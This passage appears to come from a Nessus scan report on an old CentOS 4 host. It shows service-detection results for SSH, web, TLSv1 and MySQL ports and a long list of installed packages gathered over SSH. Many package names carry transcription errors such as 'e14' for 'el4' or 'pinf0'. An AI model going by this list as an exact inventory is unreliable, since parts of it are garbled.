Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

An SSH server is running on this port.

22964 - Service Detection**Synopsis**

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

A web server is running on this port.

22964 - Service Detection**Synopsis**

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/443/www

A TLSv1 server answered on this port.

tcp/443/www

A web server is running on this port through TLSv1.

22964 - Service Detection**Synopsis**

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/631/www

A web server is running on this port.

22964 - Service Detection**Synopsis**

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/3306/mysql

A MySQL server is running on this port.

22869 - Software Enumeration (SSH)**Synopsis**

It was possible to enumerate installed software on the remote host via SSH.

Description

Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.).

Solution

Remove any software that is not in compliance with your organization's acceptable use and security policies.

Risk Factor

None

References

XREF IAVT:0001-T-0502

Plugin Information

Published: 2006/10/15, Modified: 2025/03/26

Plugin Output

tcp/0

Here is the list of packages installed on the remote CentOS Linux system :

```
libgcc-3.4.6-8|(none) Wed 07 Oct 2009 08:06:54 PM EDT|CentOS|(none)
filesystem-2.3.0-1|(none) Wed 07 Oct 2009 08:06:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
gzip-common-2.3.4-2.36|(none) Wed 07 Oct 2009 08:07:15 PM EDT|CentOS|(none)
bzip2libs-1.0.2-13.EL4.3|(none) Wed 07 Oct 2009 08:07:37 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
ethtool-1.8-4|(none) Wed 07 Oct 2009 08:07:38 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
hdparm-5.7-2|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libcap-1.10-20|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
checkpolicy-1.17.5-1|(none) Wed 07 Oct 2009 08:07:41 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
libtermcap-2.0.8-39|(none) Wed 07 Oct 2009 08:07:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
audit-1.0.15-3.EL4|(none) Wed 07 Oct 2009 08:07:45 PM EDT|CentOS|(none)
keyutils-1.0-2|(none) Wed 07 Oct 2009 08:07:47 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
pcre-4.5-3-2.RHEL4|(none) Wed 07 Oct 2009 08:07:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
psmisc-21.4-4.1|(none) Wed 07 Oct 2009 08:08:09 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
newt-0.51.6-9.rhel4|(none) Wed 07 Oct 2009 08:08:18 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
vim-minimal-6.3.046-0.40E.7|1 Wed 07 Oct 2009 08:08:20 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
cpio-2.5-13.RHEL4|(none) Wed 07 Oct 2009 08:08:21 PM EDT|CentOS|(none)
gawk-3.1.3-10.1|(none) Wed 07 Oct 2009 08:08:23 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
grub-0.95-3.8|(none) Wed 07 Oct 2009 08:08:28 PM EDT|CentOS|(none)
module-init-tools-3.1.0-pre5.3.4|(none) Wed 07 Oct 2009 08:08:29 PM EDT|CentOS|(none)
lvm2-2.02.21-5.e14|(none) Wed 07 Oct 2009 08:08:33 PM EDT|CentOS|(none)
rpm-libss-4.3.3-22._nonptl|(none) Wed 07 Oct 2009 08:08:40 PM EDT|CentOS|(none)
dbus-glib-0.22-12.EL.9|(none) Wed 07 Oct 2009 08:08:43 PM EDT|CentOS|(none)
tar-1.14-12.RHEL4|(none) Wed 07 Oct 2009 08:08:47 PM EDT|CentOS|(none)
authconfig-4.6.10-rhel4.3|(none) Wed 07 Oct 2009 08:08:51 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
Sysvinit-2.85-34.4|(none) Wed 07 Oct 2009 08:08:53 PM EDT|CentOS|(none)
kudzu-1.1.95.22-1|(none) Wed 07 Oct 2009 08:08:56 PM EDT|CentOS|(none)
initscripts-7.93.29.EL-1.centos4|(none) Wed 07 Oct 2009 08:09:08 PM EDT|CentOS|(none)
openldap-2.2.13-7.4E.1|(none) Wed 07 Oct 2009 08:09:19 PM EDT|CentOS|(none)
usermode-1.74-2|(none) Wed 07 Oct 2009 08:09:21 PM EDT|CentOS|(none)
mailcap-2.1.17-1|(none) Wed 07 Oct 2009 08:09:22 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
specspo-9.0.92-1.3|(none) Wed 07 Oct 2009 08:09:30 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
dosfstools-2.8-18|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|(none)
glib-1.2.10-15|1 Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
acl-2.2.23-5.3.e14|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|(none)
libusb-0.1.8-3|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
bluez-bluefw-1.0-6|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
lkstcp-tools-1.0.2-6.4E.1|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
openib-1.1-7|(none) Wed 07 Oct 2009 08:09:33 PM EDT|CentOS|(none)
OpenIPMI-libs-1.4.14-1.4E.17|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|(none)
patch-2.5.4-20|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
fbset-2.1-17|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
procmail-3.22-14|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
htmlview-3.0-0.8|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
setarch-1.6-1|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
statserial-1.1-35|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
librdmacm-0.9.1-7|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|(none)
telnet-0.17-31.EL4.3|1 Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
unzip-5.51-9.EL4.5|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|(none)
crash-4.0-3.9|(none) Wed 07 Oct 2009 08:09:38 PM EDT|CentOS|(none)
gpm-1.20.1-71.RHEL4|(none) Wed 07 Oct 2009 08:09:41 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
krbafs-1.2.2-6|(none) Wed 07 Oct 2009 08:09:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libxslt-1.1.11-1|(none) Wed 07 Oct 2009 08:09:44 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
man-1.5o1-10.rhel4|(none) Wed 07 Oct 2009 08:09:45 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
nano-1.2.4-1|(none) Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
cups-libs-1.1.22-0.rc1.9.20|1 Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|(none)
pinf0-0.6.8-7|(none) Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
lftp-3.0.6-3|(none) Wed 07 Oct 2009 08:09:48 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libxml2-python-2.6.16-10|(none) Wed 07 Oct 2009 08:09:51 PM EDT|CentOS|(none)
rhnlip-2.1.1-3.e14|(none) Wed 07 Oct 2009 08:09:52 PM EDT|CentOS|(none)
nscd-2.3.4-2.36|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|(none)
python-sqlite-1.1.7-1.2.1|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|(none)
tcsh-6.13-9.e14.1|(none) Wed 07 Oct 2009 08:09:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
swig-1.3.21-6|(none) Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
xorg-x11-libs-6.8.2-1.EL.18|(none) Wed 07 Oct 2009 08:09:57 PM EDT|CentOS|(none)
pam_ccreds-3-3.rhel4.2|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|(none)
apmd-3.0.2-24|1 Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
dhcpc6_client-0.10-17_EL4|(none) Wed 07 Oct 2009 08:10:00 PM EDT|CentOS|(none)
NetworkManager-0.3.1-4.e14|(none) Wed 07 Oct 2009 08:10:02 PM EDT|CentOS|(none)
```

nss_ldap-226-18|(none) Wed 07 Oct 2009 08:10:03 PM EDT|CentOS|(none)
 openssh-server-3.9p1-8.RHEL4.20|(none) Wed 07 Oct 2009 08:10:05 PM EDT|CentOS|(none)
 vixie-cron-4.1-44.E4.4|Wed 07 Oct 2009 08:10:06 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 mkbootdisk-1.5.2-1|(none) Wed 07 Oct 2009 08:10:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 ppp-2.4.2-6.4.RHEL4|(none) Wed 07 Oct 2009 08:10:08 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 system-config-securitylevel-tui-1.4.19.2-1|(none) Wed 07 Oct 2009 08:10:09 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 wvdial-1.54.0-3|(none) Wed 07 Oct 2009 08:10:11 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 ypbdb-1.17.2-13|3 Wed 07 Oct 2009 08:10:14 PM EDT|CentOS|(none)
 apr-0.9.4-24.5.c4.2|(none) Wed 07 Oct 2009 08:10:14 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 alsalib-1.0.6-5.RHEL4|(none) Wed 07 Oct 2009 08:10:16 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 perl-DBI-1.40-8|(none) Wed 07 Oct 2009 08:10:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 tux-3.2.18-2|(none) Wed 07 Oct 2009 08:10:18 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 curl-7.12.1-11.e14|(none) Wed 07 Oct 2009 08:10:18 PM EDT|CentOS|(none)
 pyorbit-2.0.1-1|(none) Wed 07 Oct 2009 08:10:20 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 unixODBC-2.2.11-1.RHEL4.1|(none) Wed 07 Oct 2009 08:10:34 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 GConf2-2.8.1-1|(none) Wed 07 Oct 2009 08:10:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pygtk2-2.4.0-1|(none) Wed 07 Oct 2009 08:10:38 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libbonoboui-2.8.0.99cvs20040929-2|(none) Wed 07 Oct 2009 08:10:41 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 gnome-python2-canvas-2.6.0-3|(none) Wed 07 Oct 2009 08:10:42 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 httpd-suexec-2.0.52-32.ent.centos4|(none) Wed 07 Oct 2009 08:10:45 PM EDT|CentOS|(none)
 system-config-httdp-1.3.1-1|5 Wed 07 Oct 2009 08:10:52 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-HTML-Tagset-3.03-30|(none) Wed 07 Oct 2009 08:10:58 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-libxml-perl-0.07-30|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 chkfontpath-1.10.0-2|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 xorg-x11-xauth-6.8.2-1.EL.18|(none) Wed 07 Oct 2009 08:11:03 PM EDT|CentOS|(none)
 system-config-securitylevel-1.4.19.2-1|(none) Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 sox-12.17.5-3|(none) Wed 07 Oct 2009 08:11:05 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 system-config-language-1.1.8-4|(none) Wed 07 Oct 2009 08:11:08 PM EDT|CentOS|(none)
 system-config-users-1.2.27-0.E4.4|(none) Wed 07 Oct 2009 08:11:09 PM EDT|CentOS|(none)
 cpp-3.4.6-8|(none) Wed 07 Oct 2009 08:11:10 PM EDT|CentOS|(none)
 fonts-xorg-75dpi-6.8.2-1.EL|(none) Wed 07 Oct 2009 08:11:14 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libungif-4.1.3-1.e14.2|(none) Wed 07 Oct 2009 08:11:15 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 emacs-common-21.3-19.EL.4|(none) Wed 07 Oct 2009 08:11:22 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 kudzu-devel-1.1.95.22-1|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|(none)
 expat-devel-1.95.7-4|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libacl-devel-2.2.23-5.3.e14|(none) Wed 07 Oct 2009 08:11:26 PM EDT|CentOS|(none)
 libselinux-devel-1.19.1-7.3|(none) Wed 07 Oct 2009 08:11:33 PM EDT|CentOS|(none)
 libstdc++-devel-3.4.6-8|(none) Wed 07 Oct 2009 08:11:40 PM EDT|CentOS|(none)
 boost-1.32.0-6.rhel4|(none) Wed 07 Oct 2009 08:11:45 PM EDT|CentOS|(none)
 kernel-hugemem-devel-2.6.9-55.E1|(none) Wed 07 Oct 2009 08:12:38 PM EDT|CentOS|(none)
 cscope-15.5-9.RHEL4|(none) Wed 07 Oct 2009 08:13:43 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 patchutils-0.2.30-1|(none) Wed 07 Oct 2009 08:13:45 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-XML-SAX-0.12-7|(none) Wed 07 Oct 2009 08:13:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 glib2-devel-2.4.7-1|(none) Wed 07 Oct 2009 08:13:48 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 strace-4.5.15-1.e14.1|(none) Wed 07 Oct 2009 08:13:49 PM EDT|CentOS|(none)
 e2fsprogs-devel-1.35-12.5.e14|(none) Wed 07 Oct 2009 08:13:51 PM EDT|CentOS|(none)
 gpm-devel-1.20.1-71.RHEL4|(none) Wed 07 Oct 2009 08:13:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 krbafs-devel-1.2.2-6|(none) Wed 07 Oct 2009 08:13:55 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 automake-1.9.2-3|(none) Wed 07 Oct 2009 08:13:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 perl-Crypt-SSLeay-0.51-5|(none) Wed 07 Oct 2009 08:13:58 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 cdec1-2.5-30|(none) Wed 07 Oct 2009 08:13:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 lockdev-devel-1.0.1-6.2|(none) Wed 07 Oct 2009 08:14:01 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 newt-devel-0.51.6-9.rhel4|(none) Wed 07 Oct 2009 08:14:15 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 zlib-devel-1.2.1.2-1.2|(none) Wed 07 Oct 2009 08:14:23 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pam-devel-0.77-66.21|(none) Wed 07 Oct 2009 08:14:26 PM EDT|CentOS|(none)
 glibc-devel-2.3.4-2.36|(none) Wed 07 Oct 2009 08:14:31 PM EDT|CentOS|(none)
 gcc-java-3.4.6-8|(none) Wed 07 Oct 2009 08:14:33 PM EDT|CentOS|(none)
 lkstcp-tools-devel-1.0.2-6.4.E.1|(none) Wed 07 Oct 2009 08:14:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 oprofile-0.8.1-26|(none) Wed 07 Oct 2009 08:14:36 PM EDT|CentOS|(none)
 tog-pegasus-devel-2.5.1-2.E4.2 Wed 07 Oct 2009 08:14:51 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libdbi-db4-mysql-0.6.5-10.RHEL4.1|(none) Wed 07 Oct 2009 08:14:52 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 MyODBC-2.50.39-25.RHEL4.1|(none) Wed 07 Oct 2009 08:14:53 PM EDT|CentOS|(none)
 OpenIPMI-tools-1.4.14-1.4.E.17|(none) Wed 07 Oct 2009 08:14:54 PM EDT|CentOS|(none)
 ckermit-8.0.209-9|(none) Wed 07 Oct 2009 08:14:57 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 wireshark-0.99.5-E4.1|(none) Wed 07 Oct 2009 08:14:59 PM EDT|CentOS|(none)
 php-pear-4.3.9-3.26|(none) Thu 08 Oct 2009 08:31:18 AM EDT|CentOS|(none)
 mysql-devel-4.1.22-2.e14|(none) Thu 08 Oct 2009 08:32:09 AM EDT|CentOS|(none)
 dmraid-1.0.0.rc14-5_RHEL4_U5|(none) Wed 07 Oct 2009 08:06:53 PM EDT|CentOS|(none)
 indexhtml-4-2.centos4|3 Wed 07 Oct 2009 08:06:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 redhat-logos-1.1.26-1.centos4.4|(none) Wed 07 Oct 2009 08:06:55 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 setup-2.5.37-1.3|(none) Wed 07 Oct 2009 08:06:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 basesystem-8.0-4|(none) Wed 07 Oct 2009 08:06:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 tzdata-2007d-1.e14|(none) Wed 07 Oct 2009 08:07:00 PM EDT|CentOS|(none)
 glibc-2.3.4-2.36|(none) Wed 07 Oct 2009 08:07:36 PM EDT|CentOS|(none)
 beecrypt-3.1.0-6|(none) Wed 07 Oct 2009 08:07:36 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 chkconfig-1.3.13.5.E4.4-1|(none) Wed 07 Oct 2009 08:07:37 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 elfutils-libelf-0.97.1-4|(none) Wed 07 Oct 2009 08:07:38 PM EDT|CentOS|(none)
 expat-1.95.7-4|(none) Wed 07 Oct 2009 08:07:38 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 glib2-2.4.7-1|(none) Wed 07 Oct 2009 08:07:39 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 keyutils-libs-1.0-2|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libacl-2.2.23-5.3.e14|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|(none)
 libselinux-1.19.1-7.3|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|(none)
 libsepol-1.1.1-2|(none) Wed 07 Oct 2009 08:07:41 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libstdc++-3.4.6-8|(none) Wed 07 Oct 2009 08:07:42 PM EDT|CentOS|(none)
 gmp-4.1.4-3|(none) Wed 07 Oct 2009 08:07:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mingetty-1.07-3|(none) Wed 07 Oct 2009 08:07:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 bash-3.0-19.3|(none) Wed 07 Oct 2009 08:07:44 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 centos-release-4-4.3|6 Wed 07 Oct 2009 08:07:46 PM EDT|CentOS|(none)
 iputils-20020927-19.E4.5|(none) Wed 07 Oct 2009 08:07:46 PM EDT|CentOS|(none)
 ncurses-5.4-13|(none) Wed 07 Oct 2009 08:07:53 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 net-tools-1.60-37.E4.9|(none) Wed 07 Oct 2009 08:07:54 PM EDT|CentOS|(none)
 perl-5.8.5-36.RHEL4|3 Wed 07 Oct 2009 08:08:07 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 pptp-1.9.1-22.nonpt1|(none) Wed 07 Oct 2009 08:08:07 PM EDT|CentOS|(none)
 rpmdb-CentOS-4.5-0.20070506|2 Wed 07 Oct 2009 08:08:14 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 slang-1.4.9-8|(none) Wed 07 Oct 2009 08:08:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 sysfsutils-1.2.0-1|(none) Wed 07 Oct 2009 08:08:18 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 usbutils-0.11-7.RHEL4.1|(none) Wed 07 Oct 2009 08:08:20 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 zlib-1.2.1.2-1.2|(none) Wed 07 Oct 2009 08:08:20 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 info-4.7-5.e14.2|(none) Wed 07 Oct 2009 08:08:21 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>

diffutils-2.8.1.12|(none) Wed 07 Oct 2009 08:08:22 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 findutils-4.1.20-7.el4.3|1 Wed 07 Oct 2009 08:08:22 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 grep-2.5.1-32.3|(none) Wed 07 Oct 2009 08:08:24 PM EDT|CentOS|(none)
 ash-0.3.8-20|(none) Wed 07 Oct 2009 08:08:27 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 gzip-1.3.3-16.rhe14|(none) Wed 07 Oct 2009 08:08:28 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libxml2-2.6.16-10|(none) Wed 07 Oct 2009 08:08:29 PM EDT|CentOS|(none)
 openssl-0.9.7a-43.16|(none) Wed 07 Oct 2009 08:08:30 PM EDT|CentOS|(none)
 readline-4.3-13|(none) Wed 07 Oct 2009 08:08:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 python-2.3.4-14.4|(none) Wed 07 Oct 2009 08:08:39 PM EDT|CentOS|(none)
 rhpel-0.148.5-1|(none) Wed 07 Oct 2009 08:08:40 PM EDT|CentOS|(none)
 sed-4.1.2-6.el4|(none) Wed 07 Oct 2009 08:08:41 PM EDT|CentOS|(none)
 dbus-0.22-12.EL.9|(none) Wed 07 Oct 2009 08:08:43 PM EDT|CentOS|(none)
 MAKEDEV-3.15.2-3|(none) Wed 07 Oct 2009 08:08:44 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 sysklogd-1.4.1-26_EL|(none) Wed 07 Oct 2009 08:08:47 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 cracklib-2.8.9-1.3|(none) Wed 07 Oct 2009 08:08:48 PM EDT|CentOS|(none)
 pam-0.77-66.21|(none) Wed 07 Oct 2009 08:08:50 PM EDT|CentOS|(none)
 policycoreutils-1.18.1-4.12|(none) Wed 07 Oct 2009 08:08:51 PM EDT|CentOS|(none)
 setools-2.3-3-4|(none) Wed 07 Oct 2009 08:08:52 PM EDT|CentOS|(none)
 util-linux-2.12a-16.EL4.25|(none) Wed 07 Oct 2009 08:08:54 PM EDT|CentOS|(none)
 hotplug-2004_04_01-7.8|3 Wed 07 Oct 2009 08:08:55 PM EDT|CentOS|(none)
 udev-039-10.15.EL4|(none) Wed 07 Oct 2009 08:08:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 mkinitrd-4.2.1-10.1-1|(none) Wed 07 Oct 2009 08:09:07 PM EDT|CentOS|(none)
 cyrus-sasl-2.1.19-5.EL4|(none) Wed 07 Oct 2009 08:09:08 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 kernel-2.6.9-55.EL|(none) Wed 07 Oct 2009 08:09:11 PM EDT|CentOS|(none)
 libuser-0.52.5-1.el4.1|(none) Wed 07 Oct 2009 08:09:20 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 prelink-0.3.3-0.EL4|(none) Wed 07 Oct 2009 08:09:20 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 kbd-1.12-2.el4.4|(none) Wed 07 Oct 2009 08:09:22 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 cryptsetup-0.1-4|(none) Wed 07 Oct 2009 08:09:22 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 man-pages-1.67-12.EL4|(none) Wed 07 Oct 2009 08:09:29 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 dump-0.4b39-3.EL4.2|(none) Wed 07 Oct 2009 08:09:30 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 bluez-libs-2.10-2|(none) Wed 07 Oct 2009 08:09:30 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 dos2unix-3.1-21.2|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 eject-2.0.13-11|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 finger-0.17-26.EL4.1|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 hesiod-3.0.2-30|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 attr-2.4.16-3.1.el4|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|(none)
 libgpg-error-1.0-1|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libjpeg-6b-33|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 lrzs2-0.12.20-19|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mailx-8.1.1-37.EL4|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|(none)
 bzip2-1.0.2-13.EL4.3|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 anacron-2.3-32|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 mt-st-0.8-1|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mtr-0.54-10|2 Wed 07 Oct 2009 08:09:33 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libibcommon-1.0.1-7|(none) Wed 07 Oct 2009 08:09:33 PM EDT|CentOS|(none)
 libsdp-1.1.0-7|1 Wed 07 Oct 2009 08:09:33 PM EDT|CentOS|(none)
 opensm-libs-2.0.0-7|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|(none)
 pam_smb-1.1.7-5|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pax-3.0-9|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 aspell-en-0.51-11|50 Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 numactl-0.6.4-1.39|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|(none)
 logrotate-3.7.1-6.RHEL4|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 rdate-1.4-2|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 redhat-menus-3.7.1-2|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 rsh-0.17-25.4|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 schedutils-1.4.0-2|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
